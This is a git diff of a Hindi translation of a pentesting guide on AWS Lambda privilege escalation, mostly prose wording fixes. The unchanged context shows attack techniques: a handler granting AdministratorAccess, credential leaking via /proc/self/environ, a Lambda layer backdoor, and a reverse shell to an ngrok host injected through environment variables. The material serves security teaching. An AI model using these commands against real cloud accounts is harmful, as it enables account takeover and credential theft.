Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains

This commit is contained in:
Translator
2025-01-11 19:21:25 +00:00
parent a6b21df8e1
commit afd1580602
44 changed files with 2099 additions and 524 deletions

View File

@@ -12,7 +12,7 @@ lambda के बारे में अधिक जानकारी:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:InvokeFunction`** अनुमतियों वाले उपयोगकर्ता अपनी विशेषताओं को बढ़ा सकते हैं।\
जिन उपयोगकर्ताओं के पास **`iam:PassRole`, `lambda:CreateFunction`, और `lambda:InvokeFunction`** अनुमतियाँ हैं, वे अपनी विशेषताओं को बढ़ा सकते हैं।\
वे **एक नया Lambda फ़ंक्शन बना सकते हैं और उसे एक मौजूदा IAM भूमिका सौंप सकते हैं**, जिससे फ़ंक्शन को उस भूमिका से संबंधित अनुमतियाँ मिलती हैं। उपयोगकर्ता फिर **इस Lambda फ़ंक्शन में कोड लिख और अपलोड कर सकता है (उदाहरण के लिए एक rev shell)**।\
एक बार फ़ंक्शन सेटअप हो जाने के बाद, उपयोगकर्ता **इसके निष्पादन को ट्रिगर कर सकता है** और AWS API के माध्यम से Lambda फ़ंक्शन को कॉल करके इच्छित क्रियाएँ कर सकता है। यह दृष्टिकोण प्रभावी रूप से उपयोगकर्ता को Lambda फ़ंक्शन के माध्यम से अप्रत्यक्ष रूप से कार्य करने की अनुमति देता है, जो कि इससे संबंधित IAM भूमिका द्वारा दी गई पहुँच के स्तर के साथ कार्य करता है।\\
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
आप **लैम्ब्डा भूमिका अनुमतियों का दुरुपयोग** भी कर सकते हैं जो लैम्ब्डा फ़ंक्शन से ही हैं।\
यदि लैम्ब्डा भूमिका में पर्याप्त अनुमतियाँ हैं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते हैं:
आप **lambda भूमिका अनुमतियों का दुरुपयोग** भी कर सकते हैं जो lambda फ़ंक्शन से ही हैं।\
यदि lambda भूमिका में पर्याप्त अनुमतियाँ हैं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते हैं:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के लम्ब्डा भूमिका क्रेडेंशियल्स लीक किए जाएं। यह **नेटवर्क आइसोलेटेड लम्ब्डास** के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड आपको लम्ब्डा के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा।
यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के lambda भूमिका क्रेडेंशियल्स लीक किए जाएं। यह **Network isolated Lambdas** के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड का टुकड़ा आपको lambda के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा।
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -90,9 +90,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:CreateEventSourceMapping`** अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से `dynamodb:PutItem` और `dynamodb:CreateTable`) अप्रत्यक्ष रूप से **अधिकार बढ़ा सकते हैं** भले ही उनके पास `lambda:InvokeFunction` न हो।\
वे **दुष्ट कोड के साथ एक लैम्ब्डा फ़ंक्शन बना सकते हैं और इसे एक मौजूदा IAM भूमिका सौंप सकते हैं**।
वे **दुष्ट कोड के साथ एक Lambda फ़ंक्शन बना सकते हैं और इसे एक मौजूदा IAM भूमिका सौंप सकते हैं**।
लैम्ब्डा को सीधे सक्रिय करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका सेट करता है या उसका उपयोग करता है, से एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर **स्वचालित रूप से ट्रिगर** होता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को सक्रिय करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना।
लैम्ब्डा को सीधे कॉल करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका सेट करता है या उसका उपयोग करता है, जिसे एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ा जाता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर **स्वचालित रूप से ट्रिगर** होता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को कॉल करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना।
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**संभावित प्रभाव:** कोड को संशोधित करने और उसे चलाने की अनुमति देकर लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।
**संभावित प्रभाव:** कोड को संशोधित करने और उसे चलाने की अनुमति देकर लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क को सक्षम करना
### `lambda:AddLayerVersionPermission`
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
**`lambda:UpdateFunctionCode`** अनुमति रखने वाले उपयोगकर्ताओं के पास **IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की संभावना है।**\
**`lambda:UpdateFunctionCode`** अनुमति रखने वाले उपयोगकर्ताओं के पास **IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की क्षमता होती है।**\
हमलावर **IAM क्रेडेंशियल्स को निकालने के लिए lambda के कोड को संशोधित कर सकता है।**
हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्धारित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा कार्यप्रवाहों या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार संशोधित कोड के निष्पादन को अप्रत्यक्ष रूप से सुविधाजनक बनाता है
हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्ित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा कार्यप्रवाहों या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार अप्रत्यक्ष रूप से संशोधित कोड के निष्पादन की सुविधा प्रदान करेगा
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -167,17 +167,17 @@ aws lambda invoke --function-name my_function output.txt
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य पर्यावरण चर हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें:
अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य env वेरिएबल्स हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### Lambda Layers के माध्यम से RCE
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) आपको अपने लम्ब्डा फ़ंक्शन में **कोड** शामिल करने की अनुमति देता है लेकिन **इसे अलग से स्टोर करता है**, ताकि फ़ंक्शन कोड छोटा रह सके और **कई फ़ंक्शन कोड साझा कर सकें**।
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) आपको अपने लम्ब्डा फ़ंक्शन में **कोड** शामिल करने की अनुमति देता है लेकिन **इसे अलग से स्टोर करता है**, ताकि फ़ंक्शन कोड छोटा रह सके और **कई फ़ंक्शन कोड साझा कर सकें**।
म्ब्डा के अंदर आप एक फ़ंक्शन के साथ उन पथों की जांच कर सकते हैं जहाँ से पायथन कोड लोड किया जाता है:
लम्ब्डा के अंदर आप एक फ़ंक्शन की तरह निम्नलिखित का उपयोग करके देख सकते हैं कि पायथन कोड कहाँ से लोड हो रहा है:
```python
import json
import sys
@@ -202,7 +202,7 @@ print(json.dumps(sys.path, indent=2))
#### शोषण
`lambda:UpdateFunctionConfiguration` अनुमति का दुरुपयोग करना संभव है **एक नया लेयर** जोड़ने के लिए एक lambda फ़ंक्शन में। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ **पुस्तकालय होना चाहिए जिसे lambda आयात करने जा रहा है।** यदि आप lambda का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि lambda **पहले से ही एक लेयर का उपयोग कर रहा है** और आप **लेयर डाउनलोड** कर सकते हैं और **वहाँ अपना कोड जोड़ सकते हैं।**
अनुमति `lambda:UpdateFunctionConfiguration` का दुरुपयोग करना संभव है **एक नया लेयर** जोड़ने के लिए एक lambda फ़ंक्शन में। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ **पुस्तकालय होना चाहिए जिसे lambda आयात करने जा रहा है।** यदि आप lambda का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि lambda **पहले से ही एक लेयर का उपयोग कर रहा है** और आप **लेयर डाउनलोड** कर सकते हैं और **वहाँ अपना कोड जोड़ सकते हैं।**
उदाहरण के लिए, मान लीजिए कि lambda पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा:
```bash
@@ -210,8 +210,8 @@ pip3 install -t ./lambda_layer boto3
```
आप `./lambda_layer/boto3/__init__.py` खोल सकते हैं और **वैश्विक कोड में बैकडोर जोड़ सकते हैं** (उदाहरण के लिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए या एक रिवर्स शेल प्राप्त करने के लिए)।
फिर, उस `./lambda_layer` निर्देशिका को ज़िप करें और **अपने खाते में नया लैम्ब्डा लेयर अपलोड करें** (या पीड़ित के खाते में, लेकिन आपके पास इसके लिए अनुमतियाँ नहीं हो सकती हैं)।\
ध्यान दें कि आपको एक पायथन फ़ोल्डर बनाना होगा और वहां पुस्तकालयों को रखना होगा ताकि /opt/python/boto3 को ओवरराइड किया जा सके। इसके अलावा, लेयर को **लैम्ब्डा द्वारा उपयोग क जाने वाल पायथन संस्करण** के साथ **संगत** होना चाहिए और यदि आप इसे अपने खाते में अपलोड करते हैं, तो यह **समान क्षेत्र** में होना चाहिए:
फिर, उस `./lambda_layer` निर्देशिका को ज़िप करें और **नई लैम्ब्डा लेयर अपलोड करें** अपने खाते में (या पीड़ित के खाते में, लेकिन आपके पास इसके लिए अनुमतियाँ नहीं हो सकती हैं)।\
ध्यान दें कि आपको एक पायथन फ़ोल्डर बनाना होगा और वहां पुस्तकालयों को रखना होगा ताकि /opt/python/boto3 को ओवरराइड किया जा सके। इसके अलावा, लेयर को **लैम्ब्डा द्वारा उपयोग किए जाने वाल पायथन संस्करण** के साथ **संगत** होना चाहिए और यदि आप इसे अपने खाते में अपलोड करते हैं, तो यह **समान क्षेत्र** में होना चाहिए:
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -228,7 +228,7 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
अगला कदम होगा या तो **फंक्शन को स्वयं कॉल करना** यदि हम कर सकं या सामान्य तरीकों से **इसे कॉल होने का इंतजार करना** - जो कि सुरक्षित तरीका है।
अगला कदम होगा या तो **फंक्शन को स्वयं कॉल करना** यदि हम कर सकते हैं या सामान्य तरीकों से **इसे कॉल होने का इंतजार करना** - जो कि सुरक्षित तरीका है।
**इस कमजोरियों का शोषण करने का एक अधिक छिपा हुआ तरीका** यहाँ पाया जा सकता है: